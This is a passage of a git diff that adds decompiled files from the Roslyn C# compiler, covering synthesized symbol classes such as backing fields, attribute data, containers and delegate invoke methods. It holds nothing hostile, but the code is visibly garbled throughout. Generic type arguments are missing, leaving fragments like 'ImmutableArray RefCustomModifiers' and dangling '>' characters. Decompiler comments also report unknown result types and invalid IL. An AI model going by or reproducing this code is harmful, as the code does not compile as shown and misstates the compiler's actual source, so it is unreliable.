flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + } + return flowAnalysisAnnotations; + } + } + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override bool IsImplicitlyDeclared => true; + + protected override IAttributeTargetSymbol AttributeOwner => (SourceMemberMethodSymbol)ContainingSymbol; + + public SynthesizedAccessorValueParameterSymbol(SourceMemberMethodSymbol accessor, TypeWithAnnotations paramType, int ordinal) + : base(accessor, ordinal, paramType, (RefKind)0, "value", accessor.TryGetFirstLocation(), null, isParams: false, isExtensionMethodThis: false, (ScopedKind)0) + { + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ((SourceMemberMethodSymbol)ContainingSymbol).GetAttributeDeclarations(); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (ContainingSymbol is SourcePropertyAccessorSymbol { AssociatedSymbol: SourcePropertySymbolBase associatedSymbol }) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations; + if ((flowAnalysisAnnotations & FlowAnalysisAnnotations.DisallowNull) != FlowAnalysisAnnotations.None) + { + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(associatedSymbol.DisallowNullAttributeIfExists)); + } + if ((flowAnalysisAnnotations & FlowAnalysisAnnotations.AllowNull) != FlowAnalysisAnnotations.None) + { + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(associatedSymbol.AllowNullAttributeIfExists)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAttributeData.cs new file mode 100644 index 0000000..b731686 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAttributeData.cs @@ -0,0 +1,17 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedAttributeData : SourceAttributeData +{ + internal SynthesizedAttributeData(MethodSymbol wellKnownMember, ImmutableArray arguments, ImmutableArray> namedArguments) + : base(null, wellKnownMember.ContainingType, wellKnownMember, arguments, default(ImmutableArray), namedArguments, hasErrors: false, isConditionallyOmitted: false) + { + } + + internal SynthesizedAttributeData(SourceAttributeData original) + : base(original.ApplicationSyntaxReference, original.AttributeClass, original.AttributeConstructor, ((AttributeData)original).CommonConstructorArguments, original.ConstructorArgumentsSourceIndices, ((AttributeData)original).CommonNamedArguments, ((AttributeData)original).HasErrors, ((AttributeData)original).IsConditionallyOmitted) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbol.cs new file mode 100644 index 0000000..725ff55 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbol.cs @@ -0,0 +1,89 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedBackingFieldSymbol : SynthesizedBackingFieldSymbolBase +{ + private readonly SourcePropertySymbolBase _property; + + internal override bool HasInitializer { get; } + + protected override IAttributeTargetSymbol AttributeOwner => _property.AttributesOwner; + + internal override Location ErrorLocation => _property.Location; + + protected override SyntaxList AttributeDeclarationSyntaxList => _property.AttributeDeclarationSyntaxList; + + public override Symbol AssociatedSymbol => _property; + + public override ImmutableArray Locations => _property.Locations; + + public override RefKind RefKind => _property.RefKind; + + public override ImmutableArray RefCustomModifiers => _property.RefCustomModifiers; + + internal override bool HasPointerType => _property.HasPointerType; + + public override Symbol ContainingSymbol => _property.ContainingSymbol; + + public override NamedTypeSymbol ContainingType => _property.ContainingType; + + public SynthesizedBackingFieldSymbol(SourcePropertySymbolBase property, string name, bool isReadOnly, bool isStatic, bool hasInitializer) + : base(name, isReadOnly, isStatic) + { + _property = property; + HasInitializer = hasInitializer; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _property.TypeWithAnnotations; + } + + protected sealed override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Attribute.IsTargetAttribute(this, AttributeDescription.FixedBufferAttribute)) + { + ((BindingDiagnosticBag)(object)arguments.Diagnostics).Add(ErrorCode.ERR_DoNotUseFixedBufferAttrOnProperty, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + else + { + base.DecodeWellKnownAttributeImpl(ref arguments); + } + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + if (!allAttributeSyntaxNodes.IsEmpty && _property.IsAutoPropertyWithGetAccessor) + { + CheckForFieldTargetedAttribute(diagnostics); + } + } + + private void CheckForFieldTargetedAttribute(BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + LanguageVersion languageVersion = DeclaringCompilation.LanguageVersion; + if (languageVersion.AllowAttributesOnBackingFields()) + { + return; + } + Enumerator enumerator = AttributeDeclarationSyntaxList.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeListSyntax current = enumerator.Current; + AttributeTargetSpecifierSyntax? target = current.Target; + if (target != null && target.GetAttributeLocation() == AttributeLocation.Field) + { + diagnostics.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.WRN_AttributesOnBackingFieldsNotAvailable, languageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureAttributesOnBackingFields.RequiredVersion())), ((SyntaxNode)current.Target).Location); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbolBase.cs new file mode 100644 index 0000000..16b5d4f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedBackingFieldSymbolBase.cs @@ -0,0 +1,46 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedBackingFieldSymbolBase : FieldSymbolWithAttributesAndModifiers +{ + private readonly string _name; + + internal abstract bool HasInitializer { get; } + + protected override DeclarationModifiers Modifiers { get; } + + public override string Name => _name; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override bool HasRuntimeSpecialName => false; + + public override bool IsImplicitlyDeclared => true; + + internal override bool IsRequired => false; + + public SynthesizedBackingFieldSymbolBase(string name, bool isReadOnly, bool isStatic) + { + _name = name; + Modifiers = (DeclarationModifiers)(0x100 | (isReadOnly ? 1024 : 0) | (isStatic ? 4 : 0)); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (!ContainingType.IsImplicitlyDeclared) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDebuggerBrowsableNeverAttribute()); + } + + internal override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedComplexParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedComplexParameterSymbol.cs new file mode 100644 index 0000000..9646278 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedComplexParameterSymbol.cs @@ -0,0 +1,103 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedComplexParameterSymbol : SynthesizedParameterSymbolBase +{ + private readonly ImmutableArray _refCustomModifiers; + + private readonly SourceComplexParameterSymbolBase? _baseParameterForAttributes; + + private readonly ConstantValue? _defaultValue; + + private readonly bool _isParams; + + private readonly bool _hasUnscopedRefAttribute; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public bool HasEnumeratorCancellationAttribute => _baseParameterForAttributes?.HasEnumeratorCancellationAttribute ?? false; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => _baseParameterForAttributes?.MarshallingInformation; + + public override bool IsParams => _isParams; + + internal override bool HasUnscopedRefAttribute => _hasUnscopedRefAttribute; + + internal override bool IsMetadataOptional => _baseParameterForAttributes?.IsMetadataOptional ?? base.IsMetadataOptional; + + internal override bool IsCallerLineNumber => _baseParameterForAttributes?.IsCallerLineNumber ?? false; + + internal override bool IsCallerFilePath => _baseParameterForAttributes?.IsCallerFilePath ?? false; + + internal override bool IsCallerMemberName => _baseParameterForAttributes?.IsCallerMemberName ?? false; + + internal override bool IsMetadataIn + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = RefKind; + if (refKind - 3 > 1) + { + SourceComplexParameterSymbolBase? baseParameterForAttributes = _baseParameterForAttributes; + if ((object)baseParameterForAttributes == null) + { + return false; + } + ParameterWellKnownAttributeData decodedWellKnownAttributeData = baseParameterForAttributes.GetDecodedWellKnownAttributeData(); + return ((decodedWellKnownAttributeData != null) ? new bool?(((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasInAttribute) : ((bool?)null)) == true; + } + return true; + } + } + + internal override bool IsMetadataOut + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)RefKind != 2) + { + SourceComplexParameterSymbolBase? baseParameterForAttributes = _baseParameterForAttributes; + if ((object)baseParameterForAttributes == null) + { + return false; + } + ParameterWellKnownAttributeData decodedWellKnownAttributeData = baseParameterForAttributes.GetDecodedWellKnownAttributeData(); + return ((decodedWellKnownAttributeData != null) ? new bool?(((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasOutAttribute) : ((bool?)null)) == true; + } + return true; + } + } + + internal override ConstantValue? ExplicitDefaultConstantValue => _baseParameterForAttributes?.ExplicitDefaultConstantValue ?? _defaultValue; + + internal override ConstantValue? DefaultValueFromAttributes => _baseParameterForAttributes?.DefaultValueFromAttributes; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => base.FlowAnalysisAnnotations; + + internal override ImmutableHashSet NotNullIfParameterNotNull => base.NotNullIfParameterNotNull; + + public SynthesizedComplexParameterSymbol(Symbol? container, TypeWithAnnotations type, int ordinal, RefKind refKind, ScopedKind scope, ConstantValue? defaultValue, string name, ImmutableArray refCustomModifiers, SourceComplexParameterSymbolBase? baseParameterForAttributes, bool isParams, bool hasUnscopedRefAttribute) + : base(container, type, ordinal, refKind, scope, name) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _refCustomModifiers = refCustomModifiers; + _baseParameterForAttributes = baseParameterForAttributes; + _defaultValue = defaultValue; + _isParams = isParams; + _hasUnscopedRefAttribute = hasUnscopedRefAttribute; + } + + public override ImmutableArray GetAttributes() + { + return _baseParameterForAttributes?.GetAttributes() ?? ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedContainer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedContainer.cs new file mode 100644 index 0000000..5e20d91 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedContainer.cs @@ -0,0 +1,259 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedContainer : NamedTypeSymbol +{ + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _constructedFromTypeParameters; + + internal TypeMap TypeMap { get; } + + internal virtual MethodSymbol Constructor => null; + + internal sealed override bool IsInterface => (int)TypeKind == 7; + + internal ImmutableArray ConstructedFromTypeParameters => _constructedFromTypeParameters; + + public sealed override ImmutableArray TypeParameters => _typeParameters; + + public sealed override string Name { get; } + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override IEnumerable MemberNames => SpecializedCollections.EmptyEnumerable(); + + public override NamedTypeSymbol ConstructedFrom => this; + + public override bool IsSealed => true; + + public override bool IsAbstract + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if ((object)Constructor == null) + { + return (int)TypeKind != 10; + } + return false; + } + } + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal sealed override bool IsInterpolatedStringHandlerType => false; + + internal sealed override bool HasDeclaredRequiredMembers => false; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override bool IsStatic => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => ContainingAssembly.GetSpecialType((SpecialType)(((int)TypeKind != 10) ? 1 : 5)); + + public override bool MightContainExtensionMethods => false; + + public override int Arity => TypeParameters.Length; + + internal override bool MangleName => Arity > 0; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public override bool IsImplicitlyDeclared => true; + + internal override bool ShouldAddWinRTMembers => false; + + internal override bool IsWindowsRuntimeImport => false; + + internal override bool IsComImport => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal override bool HasDeclarativeSecurity => false; + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + public override bool IsSerializable => false; + + internal override TypeLayout Layout => default(TypeLayout); + + internal override bool HasSpecialName => false; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + protected SynthesizedContainer(string name, MethodSymbol containingMethod) + { + Name = name; + if (containingMethod == null) + { + TypeMap = TypeMap.Empty; + _typeParameters = ImmutableArray.Empty; + } + else + { + TypeMap = TypeMap.Empty.WithConcatAlphaRename(containingMethod, this, out _typeParameters, out _constructedFromTypeParameters); + } + } + + protected SynthesizedContainer(string name, ImmutableArray typeParameters, TypeMap typeMap) + { + Name = name; + _typeParameters = typeParameters; + TypeMap = typeMap; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if ((int)ContainingSymbol.Kind != 11 || !ContainingSymbol.IsImplicitlyDeclared) + { + CSharpCompilation declaringCompilation = ContainingSymbol.DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedContainer.cs", 78); + } + + public override ImmutableArray GetMembers() + { + Symbol constructor = Constructor; + if ((object)constructor != null) + { + return ImmutableArray.Create(constructor); + } + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + MethodSymbol constructor = Constructor; + if ((object)constructor == null || !(name == constructor.Name)) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create((Symbol)constructor); + } + + internal override IEnumerable GetFieldsToEmit() + { + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 6) + { + yield return (FieldSymbol)current; + } + } + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembersUnordered(); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return CalculateInterfacesToEmit(); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return BaseTypeNoUseSiteDiagnostics; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return InterfacesNoUseSiteDiagnostics(basesBeingResolved); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedContainer.cs", 193); + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(AttributeUsageInfo); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedContainer.cs", 202); + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateConstructor.cs new file mode 100644 index 0000000..759dd22 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateConstructor.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedDelegateConstructor : SynthesizedInstanceConstructor +{ + private readonly ImmutableArray _parameters; + + public override ImmutableArray Parameters => _parameters; + + public SynthesizedDelegateConstructor(NamedTypeSymbol containingType, TypeSymbol objectType, TypeSymbol intPtrType) + : base(containingType) + { + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(objectType), 0, (RefKind)0, "object", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(intPtrType), 1, (RefKind)0, "method", (ScopedKind)0)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateInvokeMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateInvokeMethod.cs new file mode 100644 index 0000000..29234a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedDelegateInvokeMethod.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedDelegateInvokeMethod : SynthesizedInstanceMethodSymbol +{ + internal readonly struct ParameterDescription + { + internal readonly TypeWithAnnotations Type; + + internal readonly RefKind RefKind; + + internal readonly ScopedKind Scope; + + internal readonly ConstantValue? DefaultValue; + + internal readonly bool IsParams; + + internal readonly bool HasUnscopedRefAttribute; + + internal ParameterDescription(TypeWithAnnotations type, RefKind refKind, ScopedKind scope, ConstantValue? defaultValue, bool isParams, bool hasUnscopedRefAttribute) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + Type = type; + RefKind = refKind; + Scope = scope; + DefaultValue = defaultValue; + IsParams = isParams; + HasUnscopedRefAttribute = hasUnscopedRefAttribute; + } + } + + private readonly NamedTypeSymbol _containingType; + + public override string Name => "Invoke"; + + internal override bool IsMetadataFinal => false; + + public override MethodKind MethodKind => (MethodKind)3; + + public override int Arity => 0; + + public override bool IsExtensionMethod => false; + + internal override bool HasSpecialName => false; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.CodeTypeMask; + + internal override bool HasDeclarativeSecurity => false; + + internal override MarshalPseudoCustomAttributeData? ReturnValueMarshallingInformation => null; + + internal override bool RequiresSecurityObject => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsVararg => false; + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public override bool IsAsync => false; + + public override RefKind RefKind { get; } + + public override TypeWithAnnotations ReturnTypeWithAnnotations { get; } + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray Parameters { get; } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override Symbol? AssociatedSymbol => null; + + internal override CallingConvention CallingConvention => (CallingConvention)32; + + internal override bool GenerateDebugInfo => false; + + public override Symbol ContainingSymbol => _containingType; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + public override bool IsStatic => false; + + public override bool IsVirtual => true; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedDelegateSymbol.cs", 263); + } + } + + internal SynthesizedDelegateInvokeMethod(NamedTypeSymbol containingType, ArrayBuilder parameterDescriptions, TypeWithAnnotations returnType, RefKind refKind) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + _containingType = containingType; + Parameters = ArrayBuilderExtensions.SelectAsArrayWithIndex(parameterDescriptions, (Func)delegate(ParameterDescription p, int i, (SynthesizedDelegateInvokeMethod Method, int ParameterCount) a) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SynthesizedDelegateInvokeMethod item = a.Method; + TypeWithAnnotations type = p.Type; + RefKind refKind2 = p.RefKind; + string name = GeneratedNames.AnonymousDelegateParameterName(i, a.ParameterCount); + ScopedKind scope = p.Scope; + ConstantValue? defaultValue = p.DefaultValue; + bool isParams = p.IsParams; + bool hasUnscopedRefAttribute = p.HasUnscopedRefAttribute; + return SynthesizedParameterSymbol.Create(item, type, i, refKind2, name, scope, defaultValue, default(ImmutableArray), null, isParams, hasUnscopedRefAttribute); + }, (this, parameterDescriptions.Count)); + ReturnTypeWithAnnotations = returnType; + RefKind = refKind; + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + + public override DllImportData? GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedDelegateSymbol.cs", 130); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorSymbol.cs new file mode 100644 index 0000000..8cacab1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorSymbol.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedAttributeConstructorSymbol : SynthesizedInstanceConstructor +{ + private readonly ImmutableArray _parameters; + + public override ImmutableArray Parameters => _parameters; + + internal SynthesizedEmbeddedAttributeConstructorSymbol(NamedTypeSymbol containingType, Func> getParameters) + : base(containingType) + { + _parameters = getParameters(this); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + GenerateMethodBodyCore(compilationState, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorWithBodySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorWithBodySymbol.cs new file mode 100644 index 0000000..cd06cf4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeConstructorWithBodySymbol.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedAttributeConstructorWithBodySymbol : SynthesizedInstanceConstructor +{ + private readonly ImmutableArray _parameters; + + private readonly Action, ImmutableArray> _getConstructorBody; + + public override ImmutableArray Parameters => _parameters; + + internal SynthesizedEmbeddedAttributeConstructorWithBodySymbol(NamedTypeSymbol containingType, Func> getParameters, Action, ImmutableArray> getConstructorBody) + : base(containingType) + { + _parameters = getParameters(this); + _getConstructorBody = getConstructorBody; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + GenerateMethodBodyCore(compilationState, diagnostics); + } + + internal override void GenerateMethodBodyStatements(SyntheticBoundNodeFactory factory, ArrayBuilder statements, BindingDiagnosticBag diagnostics) + { + _getConstructorBody(factory, statements, _parameters); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbol.cs new file mode 100644 index 0000000..676e09e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbol.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class 